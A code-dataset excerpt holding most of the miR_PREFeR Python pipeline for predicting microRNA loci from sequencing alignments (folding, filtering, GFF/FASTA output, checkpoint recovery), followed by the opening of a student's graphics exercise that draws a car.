mature_local_pos[0]:\n if mature_local_pos[0] - star_end<3:\n return None\n if star_start < 0:\n return None\n mend = ss.rfind(mature_sym, mature_local_pos[0], mature_local_pos[1]-2)\n sstart = dict_bp[mend]\n send = dict_bp[firstbp]\n mature_duplex = ss[mature_local_pos[0]: mend+1]\n star_duplex = ss[sstart:send+1]\n\n total_dots = mature_duplex.count(\".\") + star_duplex.count(\".\")\n total_bps = len(mature_duplex) - mature_duplex.count(\".\")\n if total_bps<14:\n return None\n\n # if prime5: # the mature is on 5' arm\n # print(\"5PRIME\")\n # start_unpaired_len = mature_local_pos[1]-1-lastbp\n # end_unpaired_len = firstbp-mature_local_pos[0]\n # star_start = dict_bp[lastbp] -start_unpaired_len + 2\n # star_end = dict_bp[first] + end_unpaired_len + 2 + 1 # +1 because the end pos is exclusive\n # star_ss = ss[star_start:star_end]\n # else: # the mature is on 3' arm\n # print(\"3PRIME\")\n # start_unpaired_len = mature_local_pos[1]-1-lastbp\n # end_unpaired_len = firstbp-mature_local_pos[0]\n # star_start = dict_bp[lastbp] - start_unpaired_len + 2\n # star_end = dict_bp[firstbp] + end_unpaired_len + 2 + 1\n star_ss = ss[star_start: star_end]\n if star_ss.find(\"(\") != -1 and star_ss.find(\")\")!= -1: # this could happen if the input ss in not a stem loop\n return None\n loops, bulges = stat_duplex(mature_duplex, star_duplex)\n if not pass_stat_duplex(loops, bulges):\n return None\n # convert local positions to genome positions.\n genome_star_start, genome_star_end = pos_local_2_genome(star_start,\n star_end,\n strand,\n regionstart,\n regionend,\n foldstart,\n foldend)\n # return:\n # star start, star end in genome coordinate\n # foldregion start, end in genome coordinate\n # star structure\n # whether the mature is at the 5' arm of the folding sequence\n # mature structure\n # total number of unmatched bases in the duplex\n # total number of basepairs\n return genome_star_start, genome_star_end, foldregion_genome[0], foldregion_genome[1], star_ss, prime5, mature_ss, total_dots, total_bps\n\ndef check_expression(ss, dict_extendregion_info, maturepos_genome, mature_depth, starpos_genome, strand):\n '''\n starpos_genome is the genome coordinate of the star sequence position.\n\n The format of starpos_genome is [start, end)\n The return value is the depth of the star sequence.\n '''\n starlen = starpos_genome[1] - starpos_genome[0]\n total_depth = 0\n star_depth = 0\n for pos in dict_extendregion_info[0]:\n for s in dict_extendregion_info[0][pos]:\n total_depth += dict_extendregion_info[0][pos][s][0][-1]\n if starpos_genome[0] not in dict_extendregion_info[0]:\n star_depth = 0\n elif strand not in dict_extendregion_info[0][starpos_genome[0]]:\n star_depth = 0\n\n #TODO Maybe better to store length as key depth as value, easier for lookup.\n else:\n for length, depth in dict_extendregion_info[0][starpos_genome[0]][strand][1]:\n if length == starlen:\n star_depth = depth\n\n ratio = (mature_depth+star_depth)/float(total_depth)\n #print(\"T, M, S, R\", total_depth, mature_depth, star_depth, ratio)\n return star_depth, ratio, total_depth\n\n\ndef check_loci(structures, matures, region, dict_aln, which):\n miRNAs = []\n for m0, m1, strand, mdepth in matures:\n # TODO Move this if to previous stage.\n # if mature length is not in [19-24], then ignore this\n if m1-m0 <19 or m1-m0>24:\n continue\n lowest_energy = 0\n lowest_energy = 0\n outputinfo = []\n for energy, foldstart, ss in structures[1]:\n if energy > lowest_energy:\n continue\n else:\n structinfo = get_maturestar_info(ss, (m0,m1), foldstart,\n foldstart+len(ss),\n region[1][0],\n region[1][1],\n strand)\n if structinfo:\n exprinfo = check_expression(ss,dict_aln, (m0,m1),\n mdepth,\n (structinfo[0],structinfo[1]),\n strand)\n if exprinfo[0]>0: # has star expression\n if exprinfo[1] < 0.1:\n continue\n else:\n # The last 'True' means this is an confident miRNA\n outputinfo = [region[0], structinfo[2],\n structinfo[3], m0, m1, structinfo[0],\n structinfo[1], ss, strand, True]\n lowest_energy = energy\n else: # no star expression\n if exprinfo[1] >=0.8 and exprinfo[2] > 1000: # but very high expression\n # The last 'False' means this is not an confident miRNA\n outputinfo = [region[0], structinfo[2],\n structinfo[3], m0, m1, structinfo[0],\n structinfo[1], ss, strand, False]\n lowest_energy = energy\n if outputinfo: # the loci contains an miRNA\n miRNAs.append(outputinfo)\n return miRNAs\n\n\ndef filter_next_loci(alndumpname, rnalfoldoutname, minlen=50):\n list_miRNA_loci = []\n alnf = open(alndumpname)\n ss_generator = get_structures_next_extendregion(rnalfoldoutname, minlen)\n\n while True:\n region = None\n which = None\n dict_aln = None\n matures = None\n try:\n region, which, dict_aln, matures = cPickle.load(alnf)\n except EOFError:\n raise StopIteration\n structures = []\n if which == \"0\": #only one extend region for this loci\n structures = next(ss_generator)\n miRNAs = check_loci(structures, matures, region, dict_aln, which)\n if miRNAs:\n yield miRNAs\n continue\n else:\n structuresL = next(ss_generator) # L\n structuresR = next(ss_generator) # R\n region1, which1, dict_aln1, matures1 = cPickle.load(alnf)\n miRNAsL = check_loci(structuresL, matures, region, dict_aln, which)\n if miRNAsL:\n yield miRNAsL\n else:\n miRNAsR = check_loci(structuresR, matures1, region1, dict_aln1, which1)\n if miRNAsR:\n yield miRNAsR\n continue\n\ndef gen_miRNA_loci_nopredict(alndumpnames, rnalfoldoutnames, minlen, logger):\n\n def gen_miRNA_loci_local(queue, alndumpname, rnalfoldoutname, minlen):\n mir_generator = filter_next_loci( alndumpname, rnalfoldoutname,\n minlen=minlen)\n\n mirnas = []\n for mir in mir_generator:\n mirnas.append(mir)\n queue.put(mirnas)\n queue.put(\"done\")\n queue.close()\n miRNAqueue = multiprocessing.Queue()\n jobs = []\n finalresult = []\n for i in range(len(alndumpnames)):\n p = multiprocessing.Process(target = gen_miRNA_loci_local, args=(miRNAqueue, alndumpnames[i], rnalfoldoutnames[i],minlen))\n p.start()\n jobs.append(p)\n\n num_joined = 0\n while True:\n try:\n if num_joined == len(jobs):\n for job in jobs:\n job.join()\n break\n result = miRNAqueue.get_nowait()\n if result == \"done\":\n num_joined += 1\n else:\n for mirna in result:\n finalresult.append(mirna[0])\n except Queue.Empty:\n time.sleep(5)\n continue\n\n return finalresult\n\n\ndef get_mature_stemloop_seq(seqid, mstart, mend, start, end, fastaname):\n region1 = seqid+\":\"+str(mstart)+\"-\"+str(mend)\n region2 = seqid+\":\"+str(start)+\"-\"+str(end)\n mature_command = \"samtools faidx \" + fastaname + \" \" +region1\n stemloop_command = \"samtools faidx \" + fastaname + \" \" +region2\n try:\n samtools_process = subprocess.Popen(mature_command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n outmessage, outerr = samtools_process.communicate()\n mature_seq = str(\"\".join(outmessage.decode().split(\"\\n\")[1:]))\n samtools_process = subprocess.Popen(stemloop_command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n outmessage, outerr = samtools_process.communicate()\n stemloop_seq = str(\"\".join(outmessage.decode().split(\"\\n\")[1:]))\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when indexing the genome file\\n\")\n sys.exit(-1)\n return region1, mature_seq, region2, stemloop_seq\n\ndef gen_gff_from_result(resultlist, gffname):\n\n f = open(gffname, 'w')\n resultlist.sort()\n for idx, mirna in enumerate(resultlist):\n maturename = \"miRNA_\"+ str(idx)\n mirname = \"miRNA-stemloop_\"+ str(idx)\n write_gff_line(mirna[0],mirna[1],mirna[2]-1,mirna[-2],mirname, mirname,\n feature=\"miRNA-stemloop\",fout=f)\n write_gff_line(mirna[0],mirna[3],mirna[4]-1,mirna[-2],maturename,\n maturename, feature=\"miRNA\",fout=f)\n f.close()\n\ndef gen_mirna_fasta_ss_from_result(resultlist, maturename, stemloopname,\n fastaname, ssname):\n '''\n Each result:\n Seqid, locus_start, locus_end, mature_start, mature_end, star_start\n star_end, structure, strand, star_present\n '''\n f1 = open(maturename, 'w')\n f2 = open(stemloopname, 'w')\n f3 = open(ssname, 'w')\n for idx, mirna in enumerate(resultlist):\n maturename = \"miRNA_\" + str(idx)\n mirname = \"miRNA-stemloop_\" + str(idx)\n seqs = get_mature_stemloop_seq(mirna[0],mirna[3], mirna[4]-1, mirna[1], mirna[2]-1, fastaname)\n matureid = \">\" + seqs[0] + \" \" + mirna[-2]+ \" \" + mirname\n stemloopid = \">\" + seqs[2] + \" \" + mirna[-2]+ \" \" + mirname\n matureseq = seqs[1].upper().replace(\"T\", \"U\")\n stemloopseq = seqs[3].upper().replace(\"T\", \"U\")\n structure = mirna[-3]\n maturestart = mirna[3] - mirna[1]\n matureend = mirna[4] - mirna[1]\n starstart = mirna[5] - mirna[1]\n starend = mirna[6] - mirna[1]\n mature_M = \"M\" * (matureend - maturestart)\n star_S = \"S\" * (starend - starstart)\n seq_dot = \"\"\n if maturestart < starstart:\n seq_dot = seq_dot + \".\" * maturestart\n seq_dot = seq_dot + mature_M\n seq_dot = seq_dot + \".\" * (starstart-matureend)\n seq_dot = seq_dot + star_S\n seq_dot = seq_dot + \".\" * (len(stemloopseq)-starend)\n else:\n seq_dot = seq_dot + \".\" * starstart\n seq_dot = seq_dot + star_S\n seq_dot = seq_dot + \".\" * (maturestart-starend)\n seq_dot = seq_dot + mature_M\n seq_dot = seq_dot + \".\" * (len(stemloopseq)-matureend)\n if mirna[-2] == \"-\":\n matureseq = get_reverse_complement(matureseq)\n stemloopseq = get_reverse_complement(stemloopseq)\n structure = structure[::-1]\n structure = structure.replace('(','<')\n structure = structure.replace(')','(')\n structure = structure.replace('<',')')\n seq_dot = seq_dot[::-1]\n f1.write(matureid+\"\\n\")\n f1.write(matureseq+\"\\n\")\n f2.write(stemloopid+\"\\n\")\n f2.write(stemloopseq+\"\\n\")\n f3.write(stemloopid+\"\\n\")\n f3.write(stemloopseq+\"\\n\")\n f3.write(structure+\"\\n\")\n f3.write(seq_dot+\"\\n\")\n f1.close()\n f2.close()\n f3.close()\n\n\ndef fold_use_RNALfold(inputfastalist, tempfolder, dict_option, maxspan):\n '''\n Fold the sequences using RNALfold and write results to outputname file.\n '''\n inputfastalist.sort()\n def fold(inputname,outputname):\n command = \"RNALfold -L \" + str(maxspan)\n try:\n outputfile = open(outputname, 'w')\n inputfile = open(inputname)\n subprocess.check_call(command.split(), stdin=inputfile, stdout=outputfile)\n outputfile.close()\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when folding sequences.\\n\")\n sys.exit(-1)\n outputnames = []\n for i in range(len(inputfastalist)):\n outname = os.path.join(tempfolder, dict_option[\"NAME_PREFIX\"]+\"_rnalfoldoutput_\"+str(i))\n outputnames.append(outname)\n jobs = []\n for i in range(len(inputfastalist)):\n p = multiprocessing.Process(target = fold, args=(inputfastalist[i], outputnames[i]))\n p.start()\n jobs.append(p)\n for job in jobs:\n job.join()\n return outputnames\n\n\ndef files_all_exist(filelist):\n allexist = True\n for name in filelist:\n if not os.path.exists(name):\n allexist = False\n return allexist\n\ndef previous_stage_saved(recovername, stage):\n if not os.path.exists(recovername):\n return False\n recoverfile = open(recovername)\n dict_recover = cPickle.load(recoverfile)\n if stage in dict_recover[\"finished_stages\"]:\n if files_all_exist(dict_recover[\"files\"][stage]):\n return True\n return False\n\ndef detect_stage_last_finished(recovername):\n if not os.path.exists(recovername):\n return None\n recoverfile = open(recovername)\n dict_recover = cPickle.load(recoverfile)\n return dict_recover[\"last_stage\"]\n\ndef load_recover_file(recovername):\n if not os.path.exists(recovername):\n return None\n recoverfile = open(recovername)\n dict_recover = cPickle.load(recoverfile)\n return dict_recover\n\ndef run_check(dict_option, outtempfolder, recovername):\n write_formatted_string_withtime(\"Checking RNALfold and samtools\", 30, sys.stdout)\n if not check_RNALfold():\n write_formatted_string(\"*** RNALfold is required but not installed or not in the PATH.\", 30, sys.stdout)\n write_formatted_string(\"*** Please refer to the README file.\", 30, sys.stdout)\n else:\n RNALfoldversion = get_RNALfold_version()\n if is_bug_RNALfold(RNALfoldversion.strip()):\n write_formatted_string(\"!!! The version of RNALfold (2.0.4) has a bug. \", 30, sys.stdout)\n write_formatted_string(\"!!! Please use the latest version or the older version 1.8.x\", 30, sys.stdout)\n write_formatted_string(\"!!! Please refer to the README file.\", 30, sys.stdout)\n else:\n write_formatted_string(\"*** RNALfold is ready.\", 30, sys.stdout)\n\n if not check_samtools():\n write_formatted_string(\"!!! samtools is required but not installed or not in the PATH.\", 30, sys.stdout)\n write_formatted_string(\"!!! Please refer to the README file.\", 30, sys.stdout)\n else:\n write_formatted_string(\"*** SAMtools is ready.\\n\", 30, sys.stdout)\n\n last_stage = detect_stage_last_finished(recovername)\n if last_stage == \"fold\":\n write_formatted_string_withtime(\"Checkpoint info:\", 30, sys.stdout)\n write_formatted_string(\"*** The pipeline was stopped after stage '\" + last_stage + \"'.\", 30, sys.stdout)\n write_formatted_string(\"*** No need to run any stage (if all data files are not changed). \", 30, sys.stdout)\n elif last_stage:\n write_formatted_string_withtime(\"Checkpoint info:\", 30, sys.stdout)\n write_formatted_string(\"*** The pipeline was stopped after stage '\" + last_stage + \"'.\", 30, sys.stdout)\n write_formatted_string(\"*** You can start the pipeline from next stage (if all data files are not changed and all files generated from previous stages exist). \", 30, sys.stdout)\n else:\n write_formatted_string_withtime(\"Checkpoint info:\", 30, sys.stdout)\n write_formatted_string(\"*** No checkpoint information found, need to run the whole pipeline.\", 30, sys.stdout)\n\ndef check_dependency():\n write_formatted_string_withtime(\"Checking RNALfold and samtools\", 30, sys.stdout)\n allgood = True\n if not check_RNALfold():\n write_formatted_string(\"!!! RNALfold is required but not installed or not in the PATH.\", 30, sys.stdout)\n write_formatted_string(\"!!! Please refer to the README file.\", 30, sys.stdout)\n allgood = False\n else:\n RNALfoldversion = get_RNALfold_version()\n if is_bug_RNALfold(RNALfoldversion):\n write_formatted_string(\"!!! The version of RNALfold (2.0.4) has a bug. \", 30, sys.stdout)\n write_formatted_string(\"!!! Please use the latest version or the older version 1.8\", 30, sys.stdout)\n write_formatted_string(\"!!! Please refer to the README file.\", 30, sys.stdout)\n allgood = False\n else:\n write_formatted_string(\"*** RNALfold is ready.\", 30, sys.stdout)\n\n if not check_samtools():\n write_formatted_string(\"!!! samtools is required but not installed or not in the PATH.\", 30, sys.stdout)\n write_formatted_string(\"!!! Please refer to the README file.\", 30, sys.stdout)\n allgood = False\n else:\n write_formatted_string(\"*** SAMtools is ready.\\n\", 30, sys.stdout)\n\n return allgood\n\ndef run_prepare(dict_option, outtempfolder, recovername):\n logger = None\n if dict_option[\"LOG\"]:\n logger = dict_option[\"LOGGER\"]\n logger.info(\"Starting preparing data for the 'candidate' stage.\")\n write_formatted_string_withtime(\"Starting preparing data for the 'candidate' stage.\\n\", 30, sys.stdout)\n combinedbamname, expandedsamname, expandedbamname, expandedbam_plus, expandedbam_minus = prepare_data(dict_option, outtempfolder, logger)\n if logger:\n logger.info(\"Start writing recover infomation to the recovery file\")\n dict_recover[\"last_stage\"] = \"prepare\"\n dict_recover[\"finished_stages\"][ \"prepare\"]={}\n dict_recover[\"finished_stages\"][\"prepare\"][\"combinedbamname\"] = combinedbamname\n dict_recover[\"finished_stages\"][\"prepare\"][\"expandedbamname\"] = expandedbamname\n dict_recover[\"finished_stages\"][\"prepare\"][\"expandedsamname\"] = expandedsamname\n dict_recover[\"finished_stages\"][\"prepare\"][\"expandedbam_plus\"] = expandedbam_plus\n dict_recover[\"finished_stages\"][\"prepare\"][\"expandedbam_minus\"] = expandedbam_minus\n dict_recover[\"files\"][\"prepare\"] = []\n dict_recover[\"files\"][\"prepare\"].append(combinedbamname)\n dict_recover[\"files\"][\"prepare\"].append(expandedsamname)\n dict_recover[\"files\"][\"prepare\"].append(expandedbamname)\n dict_recover[\"files\"][\"prepare\"].append(expandedbam_plus)\n dict_recover[\"files\"][\"prepare\"].append(expandedbam_minus)\n recoverfile = open(recovername,'w')\n cPickle.dump(dict_recover,recoverfile)\n if logger:\n logger.info(\"Recovery file successfully updated.\")\n write_formatted_string_withtime(\"Done\\n\", 30, sys.stdout)\n if logger:\n logger.info(\"=========================Done (prepare stage)=======================\\n\\n\")\n\n\ndef run_candidate(dict_option, outtempfolder, recovername):\n logger = None\n if dict_option[\"LOG\"]:\n logger = dict_option[\"LOGGER\"]\n logger.info(\"Starting candidate stage.\")\n if not previous_stage_saved(recovername, \"prepare\"):\n write_formatted_string_withtime(\"Error: can not start the pipeline from this stage, the files needed are not generated or have been removed/moved. Please run previous stages first, or run the pipeline in the recover mode to automatically continue from where the job was ceased.\", 30, sys.stdout)\n exit(-1)\n #now we know we can run this stage. First get file names from the last stage\n dict_recover = load_recover_file(recovername)\n if logger:\n logger.info(\"Starting identifying candidate regions.\")\n write_formatted_string_withtime(\"Starting identifying candidate regions\", 30, sys.stdout)\n rnalfoldinputprefix = os.path.join(outtempfolder, dict_option[\"NAME_PREFIX\"]+\".rnalfold.in\")\n outputdumpprefix = os.path.join(outtempfolder, dict_option[\"NAME_PREFIX\"]+\".alndump\")\n loci_dump_name = os.path.join(outtempfolder, dict_option[\"NAME_PREFIX\"]+\"_loci_dump.dump\")\n dict_len = get_length_from_sam(dict_option[\"ALIGNMENT_FILE\"][0])\n\n combinedbamname = dict_recover[\"finished_stages\"][\"prepare\"][\"combinedbamname\"]\n expandedbamname = dict_recover[\"finished_stages\"][\"prepare\"][\"expandedbamname\"]\n expandedsamname = dict_recover[\"finished_stages\"][\"prepare\"][\"expandedsamname\"]\n expandedbam_plus = dict_recover[\"finished_stages\"][\"prepare\"][\"expandedbam_plus\"]\n expandedbam_minus = dict_recover[\"finished_stages\"][\"prepare\"][\"expandedbam_minus\"]\n #if the length of a contig is smaller than min_contig_len, then ignore it\n min_contig_len = 19\n depthfilename, dict_contigs = gen_contig_typeA(expandedbam_plus,expandedbam_minus, dict_option, min_contig_len, logger)\n dict_loci, piece_info = gen_candidate_region_typeA(dict_contigs,dict_len,dict_option,outtempfolder, logger)\n # a list of (rnafoldinfasta, lociinfodump) pairs\n num_loci, num_fasta, retnames = dump_loci_seqs_and_alignment_multiprocess(dict_loci,\n piece_info,\n combinedbamname,\n dict_option[\"FASTA_FILE\"],\n rnalfoldinputprefix,\n outputdumpprefix,\n logger)\n\n loci_dump_file = open(loci_dump_name, 'wb')\n cPickle.dump(dict_loci, loci_dump_file, protocol=2)\n loci_dump_file.close()\n if logger:\n logger.info(\"Start writing recover infomation to the recovery file\")\n dict_recover[\"last_stage\"] = \"candidate\"\n dict_recover[\"finished_stages\"][\"candidate\"] = {}\n dict_recover[\"files\"][\"candidate\"] = []\n dict_recover[\"finished_stages\"][\"candidate\"][\"depthfilename\"] = depthfilename\n dict_recover[\"finished_stages\"][\"candidate\"][\"loci_dump_name\"] = loci_dump_name\n dict_recover[\"finished_stages\"][\"candidate\"][\"fasta\"] = []\n dict_recover[\"finished_stages\"][\"candidate\"][\"infodump\"] = []\n dict_recover[\"finished_stages\"][\"candidate\"][\"num_loci\"] = num_loci\n dict_recover[\"finished_stages\"][\"candidate\"][\"num_fasta\"] = num_fasta\n for fastaname, lociinfoname in retnames:\n dict_recover[\"finished_stages\"][\"candidate\"][\"fasta\"].append(fastaname)\n dict_recover[\"finished_stages\"][\"candidate\"][\"infodump\"].append(lociinfoname)\n dict_recover[\"files\"][\"candidate\"].append(fastaname)\n dict_recover[\"files\"][\"candidate\"].append(lociinfoname)\n\n recoverfile = open(recovername,'w')\n cPickle.dump(dict_recover,recoverfile)\n if logger:\n logger.info(\"Recovery file successfully updated.\")\n\n outstr = \"{0} candidate loci generated, {1} regions to fold.\".format(num_loci, num_fasta)\n write_formatted_string(outstr, 30, sys.stdout)\n write_formatted_string_withtime(\"Done\\n\", 30, sys.stdout)\n if logger:\n logger.info(outstr)\n if logger:\n logger.info(\"=========================Done (candidate stage)=======================\\n\\n\")\n\n\ndef run_fold(dict_option, outtempfolder, recovername):\n logger = None\n if dict_option[\"LOG\"]:\n logger = dict_option[\"LOGGER\"]\n logger.info(\"Starting folding candidate sequences.\")\n if not previous_stage_saved(recovername, \"candidate\"):\n write_formatted_string_withtime(\"Error: can not start the pipeline from this stage, the files needed are not generated or have been removed/moved. Please run previous stages first, or run the pipeline in the recover mode to automatically continue from where the job was ceased.\", 30, sys.stdout)\n exit(-1)\n write_formatted_string_withtime(\"Starting folding candidate sequences.\", 30, sys.stdout)\n #now we know we can run this stage. First get file names from the last stage\n dict_recover = load_recover_file(recovername)\n if logger:\n logger.info(\"Folding candidate sequences using RNALfold. \"+\n str(dict_option[\"NUM_OF_CORE\"]) + \" parallel processes.\")\n foldnames = fold_use_RNALfold(dict_recover[\"finished_stages\"][\"candidate\"][\"fasta\"],\n outtempfolder,\n dict_option,\n dict_option[\"PRECURSOR_LEN\"])\n\n if logger:\n logger.info(\"Start writing recover infomation to the recovery file\")\n dict_recover[\"last_stage\"] = \"fold\"\n dict_recover[\"finished_stages\"][\"fold\"] = {}\n dict_recover[\"files\"][\"fold\"] = []\n dict_recover[\"finished_stages\"][\"fold\"][\"foldnames\"] = foldnames\n for name in foldnames:\n dict_recover[\"files\"][\"fold\"].append(name)\n recoverfile = open(recovername,'w')\n cPickle.dump(dict_recover,recoverfile)\n if logger:\n logger.info(\"Recovery file successfully updated.\")\n write_formatted_string_withtime(\"Done\\n\", 30, sys.stdout)\n if logger:\n logger.info(\"=========================Done (fold stage)=======================\\n\\n\")\n\n\ndef run_predict(dict_option, outtempfolder, recovername):\n logger = None\n if dict_option[\"LOG\"]:\n logger = dict_option[\"LOGGER\"]\n logger.info(\"Starting predicting miRNAs.\")\n if not previous_stage_saved(recovername, \"fold\"):\n write_formatted_string_withtime(\"Error: can not start the pipeline from this stage, the files needed are not generated or have been removed/moved. Please run previous stages first, or run the pipeline in the recover mode to automatically continue from where the job was ceased.\", 30, sys.stdout)\n exit(-1)\n write_formatted_string_withtime(\"Starting predicting miRNAs.\", 30, sys.stdout)\n #now we know we can run this stage. First get file names from the last stage\n dict_recover = load_recover_file(recovername)\n if logger:\n logger.info(\"Predicting microRNAs. \"+\n str(dict_option[\"NUM_OF_CORE\"]) + \" parallel processes.\")\n foldnames = dict_recover[\"finished_stages\"][\"fold\"][\"foldnames\"]\n result = gen_miRNA_loci_nopredict(dict_recover[\"finished_stages\"][\"candidate\"][\"infodump\"],\n foldnames, 60, logger)\n gffname = os.path.join(dict_option[\"OUTFOLDER\"],dict_option[\"NAME_PREFIX\"]+\"_miRNA.gff3\")\n maturename = os.path.join(dict_option[\"OUTFOLDER\"],dict_option[\"NAME_PREFIX\"]+\"_miRNA.mature.fa\")\n stemloopname = os.path.join(dict_option[\"OUTFOLDER\"],dict_option[\"NAME_PREFIX\"]+\"_miRNA.stemloop.fa\")\n ssname = os.path.join(dict_option[\"OUTFOLDER\"],dict_option[\"NAME_PREFIX\"]+\"_miRNA.stemloop.ss\")\n if logger:\n logger.info(\"Generating a gff file contains all predictions. GFF file name: \" + gffname)\n gen_gff_from_result(result,gffname)\n if logger:\n logger.info(\"Generating two fasta files contains predicted mature sequences and stem-loop sequences. Fasta file names: [mature]: \" +\n maturename + \", [stem-loop]: \" + stemloopname)\n gen_mirna_fasta_ss_from_result(result, maturename, stemloopname, dict_option[\"FASTA_FILE\"], ssname)\n if logger:\n logger.info(\"Start writing recover infomation to the recovery file\")\n dict_recover[\"last_stage\"] = \"predict\"\n dict_recover[\"finished_stages\"][\"predict\"] = {}\n dict_recover[\"files\"][\"predict\"] = []\n dict_recover[\"finished_stages\"][\"predict\"][\"gffname\"] = gffname\n dict_recover[\"finished_stages\"][\"predict\"][\"maturename\"] = maturename\n dict_recover[\"finished_stages\"][\"predict\"][\"stemloopname\"] = stemloopname\n dict_recover[\"files\"][\"predict\"].append(gffname)\n dict_recover[\"files\"][\"predict\"].append(maturename)\n dict_recover[\"files\"][\"predict\"].append(stemloopname)\n recoverfile = open(recovername,'w')\n cPickle.dump(dict_recover,recoverfile)\n if logger:\n logger.info(\"Recovery file successfully updated.\")\n outstr = \"{0} miRNAs identified. Result writes to file {1}\".format(len(result), gffname)\n write_formatted_string(outstr, 30, sys.stdout)\n write_formatted_string_withtime(\"Done\\n\", 30, sys.stdout)\n if logger:\n logger.info(outstr)\n if logger:\n logger.info(\"=========================Done (predict stage)=======================\\n\\n\")\n\n\ndef run_removetmp(outtempfolder):\n try:\n write_formatted_string_withtime(\"Removing the temporary folder.\", 30, sys.stdout)\n shutil.rmtree(outtempfolder)\n write_formatted_string(\"Temporary folder removed.\\n\", 30, sys.stdout)\n return 0\n except Exception as e:\n sys.stderr.write(e)\n sys.stderr.write(\"Error occurred when removing the tmp folder.\\n\")\n sys.stderr.write(\"You can remove the folder by yourself.\\n\")\n return 1\n\n\nif __name__ == '__main__':\n dict_option = parse_option_optparse()\n\n has_multiple_sample = False\n if len(dict_option['ALIGNMENT_FILE'])>1:\n has_multiple_sample = True\n\n dict_recover = {\"finished_stages\": {},\n \"last_stage\": \"\",\n \"files\": {} # value: (stage, filelist)\n }\n\n #make temp dir to store temporary files\n outfolder = dict_option[\"OUTFOLDER\"]\n outtempfolder = os.path.join(outfolder, dict_option[\"NAME_PREFIX\"]+\"_tmp\")\n recovername = os.path.join(outtempfolder, dict_option[\"NAME_PREFIX\"]+\"_recover\")\n\n if not os.path.exists(outfolder):\n os.mkdir(dict_option[\"OUTFOLDER\"])\n if not os.path.exists(outtempfolder):\n os.mkdir(outtempfolder)\n\n if dict_option['ACTION'] == 'check':\n run_check(dict_option, outtempfolder, recovername)\n exit(0)\n\n allgood = check_dependency()\n if not allgood:\n exit(-1)\n\n logger = None\n if dict_option['LOG']:\n logger = logging.getLogger(__name__)\n logger.setLevel(logging.DEBUG)\n logname = os.path.join(dict_option[\"OUTFOLDER\"],\n dict_option[\"NAME_PREFIX\"]+\".log\")\n handler = logging.FileHandler(logname, mode='w')\n fmt = logging.Formatter('%(asctime)20s %(name)10s: %(levelname)10s %(message)s')\n handler.setFormatter(fmt)\n logger.addHandler(handler)\n dict_option[\"LOGGER\"] = logger\n if dict_option['ACTION'] == 'prepare':\n if logger:\n logger.info(\"ACTION is 'prepare'.\")\n run_prepare(dict_option, outtempfolder, recovername)\n exit(0)\n if dict_option['ACTION'] == 'candidate':\n if logger:\n logger.info(\"ACTION is 'candidate'.\")\n run_candidate(dict_option, outtempfolder, recovername)\n exit(0)\n if dict_option['ACTION'] == 'fold':\n if logger:\n logger.info(\"ACTION is 'fold'.\")\n run_fold(dict_option, outtempfolder, recovername)\n exit(0)\n if dict_option['ACTION'] == 'predict':\n if logger:\n logger.info(\"ACTION is 'predict'.\")\n run_predict(dict_option, outtempfolder, recovername)\n if not dict_option[\"KEEPTMP\"]:\n run_removetmp(outtempfolder)\n if logger:\n logger.info(\"Temporary folder removed.\")\n exit(0)\n if dict_option['ACTION'] == 'pipeline':\n if logger:\n logger.info(\"ACTION is 'pipeline'.\")\n run_prepare(dict_option, outtempfolder, recovername)\n run_candidate(dict_option, outtempfolder, recovername)\n run_fold(dict_option, outtempfolder, recovername)\n run_predict(dict_option, outtempfolder, recovername)\n if not dict_option[\"KEEPTMP\"]:\n run_removetmp(outtempfolder)\n if logger:\n logger.info(\"Temporary folder removed.\")\n exit(0)\n if dict_option['ACTION'] == 'recover':\n if logger:\n logger.info(\"ACTION is 'recover'.\")\n last_stage = detect_stage_last_finished(recovername)\n if last_stage:\n write_formatted_string_withtime(\"The pipeline was stopped after stage '\" + last_stage + \"'.\", 30, sys.stdout)\n if last_stage == \"prepare\":\n write_formatted_string(\"*** Starting the pipeline from stage 'candidate'.\", 30, sys.stdout)\n run_candidate(dict_option, outtempfolder, recovername)\n run_fold(dict_option, outtempfolder, recovername)\n if not dict_option[\"KEEPTMP\"]:\n run_removetmp(outtempfolder)\n if logger:\n logger.info(\"Temporary folder removed.\")\n elif last_stage == \"candidate\":\n write_formatted_string(\"*** Starting the pipeline from stage 'fold'.\", 30, sys.stdout)\n run_fold(dict_option, outtempfolder, recovername)\n elif last_stage == \"fold\":\n write_formatted_string(\"*** Starting the pipeline from stage 'predict'.\", 30, sys.stdout)\n run_predict(dict_option, outtempfolder, recovername)\n if not dict_option[\"KEEPTMP\"]:\n run_removetmp(outtempfolder)\n if logger:\n logger.info(\"Temporary folder removed.\")\n elif last_stage == \"predict\":\n write_formatted_string(\"*** The pipeline has been finished on the input. No action is performed.\\n\", 30, sys.stdout)\n else:\n write_formatted_string_withtime(\"No recovery information found. Please run the pipeline in the 'pipeline' mode.\\n\", 30, sys.stdout)\n exit(0)\n","sub_path":"miR_PREFeR.py","file_name":"miR_PREFeR.py","file_ext":"py","file_size_in_byte":98436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"446651192","text":"# Parker Hemming\n# CTEC 121 / Winter 2019\n# Module 4 / Problem Set 5\n# Problem 1 (25 points)\n\n\"\"\"\nUsing the graphics library, draw a picture of the side view of a car. Make sure to include two tires, an area for windows and the roof. Include a front and rear bumper as well. Use all of the following types of objects and functions listed below:\n\n- Line\n- Circle\n- Rectangle\n- Polygon\n- setOutline\n- setFill\n\"\"\"\nfrom graphics import *\n\ndef main():\n win = GraphWin('Car', 600,600)\n\n line = Line(Point(115,250),Point(115,300))\n line.draw(win)\n\n line = Line(Point(115,250),Point(130,250))\n line.draw(win)\n\n line = Line(Point(130,250),Point(175,200))\n line.draw(win)\n\n line = Line(Point(175,200),Point(300,200))\n line.draw(win)\n\n line = Line(Point(300,200),Point(375,250))\n line.draw(win)\n\n line = Line(Point(375,250),Point(400,250))\n line.draw(win)\n\n line = Line(Point(400,250),Point(400,300))\n line.draw(win)\n\n line = Line(Point(400,300),Point(115,300))\n line.draw(win)\n\n circle = Circle(Point(180,300),25)\n # color = color_rgb(240,240,240)\n circle.setFill(\"gray\")\n circle.draw(win)\n\n circle = Circle(Point(325,300),25)\n # color = color_rgb(240,240,240)\n circle.setFill(\"gray\")\n circle.draw(win)\n\n circle = Circle(Point(385,270),10)\n circle.setFill(\"yellow\")\n 